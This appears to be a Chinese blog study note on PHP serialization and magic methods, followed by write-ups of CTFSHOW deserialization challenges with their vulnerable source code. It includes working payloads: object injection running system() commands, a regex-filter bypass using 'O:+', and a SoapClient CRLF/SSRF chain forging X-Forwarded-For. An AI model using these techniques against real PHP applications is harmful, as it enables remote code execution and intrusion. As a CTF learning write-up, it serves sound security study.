浅学PHP序列化:serialize()
序列化:把对象转换为可传输的字节序列的过程–是为了解决在不同的机器之间传输复杂数据类型的一种机制
序列化是将变量或对象转换成字符串的过程,用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。
本次学习主要参考baozongwi师傅的php反序列化文章和Y4tacker的[CTF]PHP反序列化总结辅助学习😘
CTFSHOW靶场主要参考ZredamanJ师傅的ctfshow 反序列化
推荐课程陈腾老师的反序列化课程陈腾老师的ssti的课也很好👍
反序列化:把字节序列化转换为对象的过程
序列化与反序列化的最终目的:实现对象的跨平台存储,网络传输
为什么要有序列化呢?
就是因为序列化方便呗,占用小空间传递更多的信息
1 2 3 4 5 6 7 8 9 10
| demo: <?php class me{ public $name=lww; public $age=20; public $ctf=web; } echo serialize(new me());
回显:O:2:"me":3:{s:4:"name";s:3:"lww";s:3:"age";i:20;s:3:"ctf";s:3:"web";}
|
在这里的格式为:变量类型:类名长度:类名:属性数量:{属性类型:属性名长度:属性名;属性值类型:属性值长度:属性值内容
在这里还涉及到一个基础的知识点就是php是面向对象的如果不了解可以去菜鸟教程熟悉一下
魔术方法
PHP 中的魔术方法是指那些以双下划线(__)开头的特殊方法。它们在特定的情况下自动调用,用于执行特定的功能,比如在对象序列化时、访问未定义的属性或方法时等。这些方法为PHP编程提供了强大的工具,使得可以更简洁地执行复杂的任务。
__construct() //当创建新对象时自动调用。
__destruct() //对象不再被使用且需要被销毁时调用。
__call($name, $arguments) //当调用一个不可访问的方法时调用。
__callStatic($name, $arguments) //当调用一个不可访问的静态方法时调用。
__get($name) //用于读取不可访问的属性。
__set($name, $value) //用于写入不可访问的属性。
__isset($name) //当对不可访问的属性调用 isset() 或 empty() 时被调用。
__unset($name) //当对不可访问的属性调用 unset() 时被调用。
__toString() //当尝试将对象当作字符串输出时调用。
__invoke() //当尝试将对象当作函数调用时执行。
__clone() //当对象被复制时调用。
__sleep() //在序列化前调用,用于清理对象,并返回表示哪些属性需要被序列化的数组。
__wakeup() //在反序列化后调用,用于重新初始化对象的属性或执行其他重建任务。
存在自动调用,可以相互调用
ctfshow 反序列化
web254
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <?php error_reporting(0); highlight_file(__FILE__); include('flag.php');
class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false;
public function checkVip(){ return $this->isVip; } public function login($u,$p){ if($this->username===$u&&$this->password===$p){ $this->isVip=true; } return $this->isVip; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; echo "your flag is ".$flag; }else{ echo "no vip, no flag"; } } }
$username=$_GET['username']; $password=$_GET['password'];
if(isset($username) && isset($password)){ $user = new ctfShowUser(); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
|
payload
https://03de7056-2630-45a9-b5a3-f21a6e0a8e3c.challenge.ctf.show/?username=xxxxxx&password=xxxxxx
web255
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <?php
error_reporting(0); highlight_file(__FILE__); include('flag.php');
class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false;
public function checkVip(){ return $this->isVip; } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; echo "your flag is ".$flag; }else{ echo "no vip, no flag"; } } }
$username=$_GET['username']; $password=$_GET['password'];
if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13
| payload <?php class ctfShowUser{ public $isVip='true'; public $username='xxxxxx'; public $password='xxxxxx'; } $a=new ctfShowUser(); echo urlencode( serialize($a));
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A5%3A%22isVip%22%3Bs%3A4%3A%22true%22%3Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3B%7D url?username=xxxxxx&passname=xxxxxx
|
web256
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <?php highlight_file(__FILE__); include('flag.php');
class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false;
public function checkVip(){ return $this->isVip; } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; if($this->username!==$this->password){ echo "your flag is ".$flag; } }else{ echo "no vip, no flag"; } } }
$username=$_GET['username']; $password=$_GET['password'];
if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
这个题其实就是使得username与password不相同,用上题的脚本稍作修改就行
|
web257
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| <?php error_reporting(0); highlight_file(__FILE__);
class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=false; private $class = 'info';
public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); }
}
class info{ private $user='xxxxxx'; public function getInfo(){ return $this->user; } }
class backDoor{ private $code; public function getInfo(){ eval($this->code); } }
$username=$_GET['username']; $password=$_GET['password'];
if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); $user->login($username,$password); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| payload: <?php class ctfShowUser{ private $class; public function __construct(){ $this->class=new backDoor();//这就是在创建时被调用 } } class backDoor{ private $code="system('tac f*');"; } $a=new ctfShowUser(); echo urlencode(serialize($a)); 不能直接private $class=new backDoor();来赋给class一个类的值,只能通过__construct来赋值,但是可以直接赋给其字符的值。 要注意的是用user传命令时需要带个分号 看好要求是去cookie里面传参
|
construct–demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php
class Demo{ public $name="lww"; public $age=20; public function __construct(){ $this->name="Demon"; $this->age=21; echo "construct被调用\n"; } } $a=new Demo(); echo serialize($a);
O:4:"Demo":2:{s:4:"name";s:5:"Demon";s:3:"age";i:21;}
|
web258
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| <?php error_reporting(0); highlight_file(__FILE__);
class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public $class = 'info';
public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); }
}
class info{ public $user='xxxxxx'; public function getInfo(){ return $this->user; } }
class backDoor{ public $code; public function getInfo(){ eval($this->code); } }
$username=$_GET['username']; $password=$_GET['password'];
if(isset($username) && isset($password)){ if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){ $user = unserialize($_COOKIE['user']); } $user->login($username,$password); }
|
1 2 3 4 5 6 7 8 9 10 11
| 分析: 本题的难点在于过滤 if(isset($username) && isset($password)){ if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){ $user = unserialize($_COOKIE['user']); } $user->login($username,$password); } 正则过滤[oc]是匹配o字符或者c字符,\d匹配一个数字字符,等价于[0-9],+号是匹配前面的\d一次或者多次。下面只需要将O:11变成O:+11就可以绕过了 检查 $_COOKIE['user'] 这个 Cookie 的值是否不包含符合正则表达式 /[oc]:\d+:/i 的模式。如果不包含,则条件为真,执行 if 语句块内的代码;如果包含,则条件为假,跳过 if 语句块内的代码。在实际应用中,这种检查通常用于防范 PHP 反序列化漏洞,因为某些恶意的序列化字符串可能包含 O: 或 C: 开头的模式。 为了躲避检查+11可以躲开\d的纯数字字符
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| payload: user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A17%3A%22system%28%27tac+f%2A%27%29%3B%22%3B%7D%7D <?php class ctfShowUser{ public $class; public function __construct(){ $this->class=new backDoor(); } } class backDoor{ public $code="system('tac f*');"; } $a=new ctfShowUser(); $b=serialize($a); $b=str_replace("O:","O:+",$b); echo urlencode($b);
|
WEB259
这题考查PHP原生类的反序列化
先放题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| flag.php $xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); array_pop($xff); $ip = array_pop($xff);
if($ip!=='127.0.0.1'){ die('error'); }else{ $token = $_POST['token']; if($token=='ctfshow'){ file_put_contents('flag.txt',$flag); } }
然后实例里面的php页面是 <?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']); //vip can get flag one key $vip->getFlag();
|
大致流程为:
1、通过访问一个不存在的方法,调用原生类SoapClient的_call方法
2、通过SoapClient原生类里面带有的user_agent构造处POST方法
3、User-Agent和Content-Type间通过\r\n分割,因为在HTTP协议中,HTTP header与HTTP Body是用两个CRLF分隔的
4、利用其中的location为http://127.0.0.1/flag.php,构造SSRF,可以让访问flag.php的IP为127.0.0.1
[!TIP]
关于php原生类
1 2 3 4 5
| PHP 原生类(Native Classes)是指 PHP 语言内置的类,由 PHP 核心或官方扩展直接提供,无需用户自行定义即可直接使用。这些类通常提供了常用的功能(如日期处理、文件操作、异常处理等),是 PHP 开发中的基础工具。 主要特点 无需定义:原生类已随 PHP 安装包或扩展默认提供。 高效稳定:经过 PHP 官方优化和测试,性能可靠。 功能明确:每个类专注于解决特定领域的问题。
|
Y4tacker的反序列化总结里面的php原生类反序列化板块有详解,内容可能较多
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| payload: <?php $ua="ctfshow\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow"; $client=new SoapClient(null,array('uri'=>"127.0.0.1/",'location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua)); echo urlencode(serialize($client)) ?>
|
WEB260
1 2 3 4 5 6 7 8 9
| <?php
error_reporting(0); highlight_file(__FILE__); include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){ echo $flag; }
|
直接传入?ctfshow= ctfshow_i_love_36D就行
WEB261
WEB262
字符串逃逸
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php
error_reporting(0); class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } }
$f = $_GET['f']; $m = $_GET['m']; $t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){ $msg = new message($f,$m,$t); $umsg = str_replace('fuck', 'loveU', serialize($msg)); setcookie('msg',base64_encode($umsg)); echo 'Your message has been sent'; }
highlight_file(__FILE__);
|
这段 PHP 代码的主要功能是接收来自用户通过 GET 请求传递的三个参数 f
、m
和 t
,并使用这些参数创建一个 message
类的对象。在创建对象后,将对象序列化,把序列化字符串中的 fuck
替换为 loveU
,再对处理后的字符串进行 Base64 编码,最后将编码后的结果作为一个名为 msg
的 Cookie 发送给用户。同时,代码还会输出一条消息提示用户消息已发送,并将当前 PHP 文件的源代码高亮显示出来。